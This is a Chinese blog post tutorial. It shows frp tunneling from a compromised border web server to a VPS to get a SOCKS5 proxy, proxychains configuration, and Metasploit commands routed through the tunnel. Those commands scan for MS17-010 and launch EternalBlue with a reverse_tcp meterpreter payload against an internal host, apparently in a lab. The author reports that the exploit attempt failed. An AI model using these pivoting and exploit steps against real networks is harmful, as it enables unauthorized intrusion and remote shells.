内网穿透frp

0x00原理

frp 主要由 客户端(frpc) 和 服务端(frps) 组成,服务端通常部署在具有公网 IP 的机器上,客户端通常部署在需要穿透的内网服务所在的机器上。
内网服务由于没有公网 IP,不能被非局域网内的其他用户访问。
用户通过访问服务端的 frps,由 frp 负责根据请求的端口或其他信息将请求路由到对应的内网机器,从而实现通信。
意思就是 把内网流量代理到vps

00x01项目地址

https://github.com/fatedier/frp/

0x02使用文档

https://gofrp.org/docs

0x03服务端

[common]
bind_port = 7000

0x03客户端(具有外网ip和内网ip的web边界服务器)

[common]
server_addr = 你的vps ip
server_port = 7000
[111]
remote_port = 6000
plugin=socks5

客户端启动frp
image
同时服务端可以看到成功连接的记录
image

0x04 使用proxifier测试是否成功

frp生成的是sock5代理,此处测试成功,注意测试时候端口为6000,而不是7000
image

0x04 msf使用proxychain代理

1、修改本地kali机器proxychain配置,kali2021版本

sudo vim /etc/proxychains4.conf

将 dynamic_chain 前面的 “#” 去掉,并在 strict_chain 前添加 “#”
image
删掉[ProxyList]原先配置,添加新配置

socks5 你的vpsip 6000

image
2、测试

proxychains4 firefox

image
测试成功
image
3、使用proxychains4打开msf

proxychains4 msfconsole

image
4、之前目标内网已经使用fscan扫出ms17-010
5、在msf中使用scanner测试是否存在ms17-010,注意在扫描的时候才会显示此次攻击有通过proxychains

use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.52.143
run

image
6、在msf中使用ms17-010的exp

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.52.143
set lhost 本地ip(搭frp隧道的那台服务器内网ip)

然后打失败了,我看了网上其他人也是这样,不知道是不是流量走公网时出问题
image

posted @ 2021-07-04 15:57  q1ya  阅读(495)  评论(0编辑  收藏  举报